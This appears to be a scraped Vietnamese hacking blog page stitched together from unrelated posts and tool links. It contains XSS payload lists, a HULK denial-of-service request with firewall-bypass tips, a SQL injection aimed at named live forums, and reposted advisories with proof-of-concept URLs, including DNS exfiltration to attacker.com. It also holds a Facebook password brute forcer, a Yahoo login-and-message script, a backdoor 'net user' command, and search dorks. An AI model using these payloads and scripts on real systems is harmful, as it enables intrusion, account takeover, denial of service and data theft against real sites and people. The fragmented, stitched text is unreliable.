http://taigame8.com/code/wedding/Download:
http://www.mediafire.com/?ff11szkms3pfzziPass Unlock:
junookyo
.htaccess
http://adf.ly/FMy7H
Sy_Conf.pl
http://adf.ly/FMy9j
B-F.php
http://adf.ly/FMyBJ
./joomscan.pl update
 |
| Dorks & Shell |
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">Encode nội dung (UTF-8)
<IMG SRC=javascript:alert('XSS')>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
http://adf.ly/FMxYrPass Unlock:
junookyoExploit này cũng có lâu rồi, làm TUT này cho newbie thôi nhé. Pro nào biết rồi miễn quăng gạch :).
1.Thực tế nó là request của HULK dos tool @@ tut by hisoka @@ lech ghi với nhé
Trích:
GET /?ASH=REHRKP HTTP/1.1
Accept-Encoding: identity
Host: huydiet.vn
Keep-Alive: 110
User-Agent: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.google.com/?q=VUCWJE
Cache-Control: no-cache
> random char
>>Keep-Alive: 110 nên set thấp xuống tùy server conf
>>acces từ công cụ tìm kiếm.1 cách qua FW hiệu quả
>> Connection: close > close còn lâu mới nói
>>bypass cache
DNS là thành phần cốt lõi trong mạng Internet. Giao thức giúp chuyển đổi một địa chỉ web, thường được gọi là URL thành một địa chỉ thực, hay địa chỉ IP.
Máy tính biết cách truyền tin đến địa chỉ IP nào đó, nhưng lại không trực tiếp biết được địa chỉ IP từ URL, một dạng địa chỉ danh định giúp người dùng dễ nhớ.
Do vậy, DNS server có mặt để giúp phân giải tên miền giúp máy tính có thể lấy được địa chỉ IP dựa trên URL để truyền thông qua Internet. Không phải chỉ có một DNS server trung tâm làm nhiệm vụ phân giải URL cho tất cả mọi người.
#####################################################################################################
->Vulnerability
#####################################################################################################
->http://target.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20
#####################################################################################################
->eg: http://diendanhaiduong.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20
http://sinhvientayan.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,
user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20
http://vietsource.net/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20
http://tuoitredonganh.vn/diendan/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20
#####################################################################################################
[+] If vbb version 4.1.2,3,4,5 you can install addons Advanced Cookie Manager to fake login.
[+] Md5 Hash Generator -> http://www.miraclesalad.com/webtools/md5.php
[+] Thanks to Juno_okyo & all VNH Group members.
##########################################################################################
http://junookyo.blogspot.com/2012/10/thu-nghiem-kha-nang-chiu-tai-cua.htmlIntroduction :
http://extabit.com/file/279lkb5sw5803/Pack_ENG_2012_By_LoriYagami.rar
http://lumfile.com/e7jtivm4z1p0/Pack_ENG_2012_By_LoriYagami.rar.html
http://www.netload.in/dateiKQRYLtL98C/Pack_ENG_2012_By_LoriYagami.rar.htm
http://rapidgator.net/file/51346955/Pack_ENG_2012_By_LoriYagami.rar.html
http://ryushare.com/2904a97c477f/Pack_ENG_2012_By_LoriYagami.rar
http://www.mediafire.com/?t3yzw8cnq4qfsNguồn: Sưu tầm
Author: Janek Vind "waraxe"
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-93.html
Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also
enables you to Automatically Publish or Self Publish your Blog Posts to 25+
Networks.
http://wordpress.org/extend/plugins/social-discussions/
Affected version: 6.1.1
###############################################################################
1. Remote File Inclusion in "social-discussions-networkpub_ajax.php"
###############################################################################
Reasons: Uninitialized variable "$HTTP_ENV_VARS"
Attack vectors: User-supplied parameter "HTTP_ENV_VARS"
Preconditions:
1. register_globals=on
2. register_long_arrays=off
3. allow_url_include=on for RFI if PHP >= 5.2.0
4. PHP must be < 5.3.4 for LFI null-byte attacks
5. magic_quotes_gpc=off for LFI null-byte attacks
Php script "social-discussions-networkpub_ajax.php" line 2:
------------------------[ source code start ]----------------------------------
if (!function_exists('add_action')){
@include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php");
------------------------[ source code end ]------------------------------------
We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized
and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive
"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in
same time "register_globals=on", it is possible to fill that array with any
value, leading to the RFI (Remote File Inclusion) vulnerability.
Tests:
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environz
###############################################################################
2. Full Path Disclosure in multiple scripts
###############################################################################
Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive display_errors=on
Result: Information Exposure Through an Error Message
Tests:
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3
# 1337day.com [2012-10-18]
Author: Janek Vind "waraxe"
Date: 17. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-92.html
Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Slideshow provides an easy way to integrate a slideshow for any WordPress
installation.
Any image can be loaded into the slideshow by picking it from the WordPress
media page, even images you've already uploaded can be inserted into your
slideshow right away!
http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/
Affected version: 2.1.12
###############################################################################
1. Reflected XSS in "views/SlideshowPlugin/slideshow.php"
###############################################################################
Reasons:
1. Uninitialized variables "$randomId", "$slides" and "$settings"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "randomId", "slides" and "settings"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId="><script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'>
###############################################################################
2. Reflected XSS in "views/SlideshowPluginPostType/settings.php"
###############################################################################
Reasons:
1. Uninitialized variables "$settings" and "$inputFields"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script>
###############################################################################
3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php"
###############################################################################
Reasons:
1. Uninitialized variables "$settings" and "$inputFields"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script>
###############################################################################
4. Full Path Disclosure in multiple scripts
###############################################################################
Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive display_errors=on
Result: Information Exposure Through an Error Message
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php
Fatal error: Call to undefined function add_action() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php
Fatal error: Class 'WP_Widget' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php
Fatal error: Class 'SlideshowPluginMain' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php
Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php
Fatal error: Class 'SlideshowPluginSlideInserter' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php
Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php
Fatal error: Call to undefined function submit_button() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php
Fatal error: Using $this when not in object context in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2
# 1337day.com [2012-10-18]
Product: jCore
Vendor: jcore.net
Vulnerable Version(s): 1.0pre and probably prior
Tested Version: 1.0pre
Vendor Notification: August 1, 2012
Public Disclosure: October 17, 2012
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-4231, CVE-2012-4232
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in jCore, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks.
1) SQL Injection in jCore: CVE-2012-4232
1.1 Input passed via the "memberloginid" COOKIE parameter to /admin/index.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
GET /admin/?logout=1 HTTP/1.1
Cookie: memberloginid=' OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --
2) Cross-Site Scripting (XSS) in jCore: CVE-2012-4231
2.1 Input passed via the "path" GET parameter to /admin/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27
-----------------------------------------------------------------------------------------------
Solution:
As a temporary solution upgrade to version 1.0pre2:
http://jcore.net/news/jcore-ver-10pre2-available-for-testing
Final fix will be available in version 1.0 soon.
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23107 - https://www.htbridge.com/advisory/HTB23107 - Multiple vulnerabilities in jCore.
[2] jCore - http://jcore.net/ - jCore is a free and open source content management system (CMS) written in PHP and distributed under the GNU General Public License.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
-----------------------------------------------------------------------------------------------
# 1337day.com [2012-10-18]
<?php
$id = "Tên đăng nhập";
$password = "Điền pass vào đây";
$victimid = "Nick người muốn gửi";
$mesaj = "tin nhắn";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://mlogin.yahoo.com/w/login/logout%3B_ylt=A2KL8zKv4FJQe0cAaA0c8tw4?_done=%2F%3F_cache%3D1347608751&_httpHost=m.yahoo.com&c=Y83.FJ.zUcd&.intl=en&.lang=en');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
curl_exec($ch);
curl_close ($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://m.yahoo.com/w/bp-messenger/messenger/?.intl=en-us&.lang=en-us&c=Y83.FJ.zUcd');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
$data = curl_exec($ch);
$_done = substr($data, strpos($data, "_done") + 14);
$_done = substr($_done, 0, strpos($_done, "\""));
$_crumb = substr($data, strpos($data, "_crumb") +15);
$pieces = explode('"', $_crumb);
$_crumb = $pieces[0];
$_ts = substr($data, strpos($data, "_ts") +12);
$pcc = explode('"', $_ts);
$_ts = $pcc[0];
$action = substr($data, strpos($data, "action=") + 8);
$acc = explode('"', $action);
$action = $acc[0];
curl_close ($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, urldecode($action));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS ,"_authurl=auth&_done=" . $_done . "&_sig=&_src=&_ts=" . $_ts . "&_crumb=" . $_crumb . "&_pc=&_send_userhash=0&_appdata=&_partner_ts=&_is_ysid=0&_page=secure&_next=nonssl&id=" . $id . "&password=" . $password . "&__submit=Sign+In");
$data2 = curl_exec($ch);
curl_close ($ch);
$s = substr($data2, strpos($data2, "<a href=\"/w/bp-messenger/sendmessage?c"));
$ccc = explode('"', $s);
$s = $ccc[1] ;
$s = "http://m.yahoo.com$s";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $s);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
$data = curl_exec($ch);
$s = substr($data, strpos($data, "<form action=\"/w/bp-messenger/chat/sendIm?"));
$ccc2 = explode('"', $s);
$s = $ccc2[1] ;
$s = "http://m.yahoo.com$s";
curl_close ($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, $s);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS ,"fr=sm&id=".$victimid."&message=".$mesaj."&_submit=Send");
$data2 = curl_exec($ch);
curl_close ($ch);
if (strpos($data2, $mesaj) !== false) {
echo "$victimid --> <font color=\"green\"> Sent </font>";
} else {
echo "$victimid --> <font color=\"red\"> Failed </font>";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://mlogin.yahoo.com/w/login/logout%3B_ylt=A2KL8zKv4FJQe0cAaA0c8tw4?_done=%2F%3F_cache%3D1347608751&_httpHost=m.yahoo.com&c=Y83.FJ.zUcd&.intl=en&.lang=en');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cookie.txt");
curl_exec($ch);
curl_close ($ch);
?>
inurl:infernoshout
inurl:infernoshout.php
ĐỌC TIẾP »
Free Mouse Auto Clicker 3.0
Free Mouse Auto Clicker 3.0 là phần mềm giúp bạn tự động click (Auto Click) vào 1 nơi bất kỳ trên màn hình mà không cần phải ngồi bấm chuột.
net user l33t p4$sword /add
http://downloads.activestate.com/ActivePerl/releases/5.10.1.1007/ActivePerl-5.10.1.1007-MSWin32-x64-291969.msi
![[Hình: 11.PNG]](https://lh4.googleusercontent.com/-cZ-Bxt8AkNI/UHKYVjzPtwI/AAAAAAAAAHU/vaQEgE-7sJc/s400/11.PNG)
![[Hình: 22.PNG]](https://lh6.googleusercontent.com/-t7S4rgB9xV4/UHKYVo0IfcI/AAAAAAAAAHQ/f2uXs5c1n1A/s400/22.PNG)
###############################
# Face Book Brute Forcer
################################
#Miracle-Ubers.org
################################
set_time_limit(0);
$username ="brute@force.org"; // username to brute force
$dictionary ="dictionary.txt"; // need dictionary to password list
function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..
";
sleep(10);
echo "Attack Started, brute forcing..
";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "[+] username:$username , password:$line - P
assword found : $line
";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "[-] username:$username , password:$line - Password not found :
$line
";}
}
?>
iFrames and script tags are being used by malicious hackers to serve up drive-by internet attacks, silently and invisibly.
http://adf.ly/FMu2ZPass giải nén nếu có: vietmatrix.net
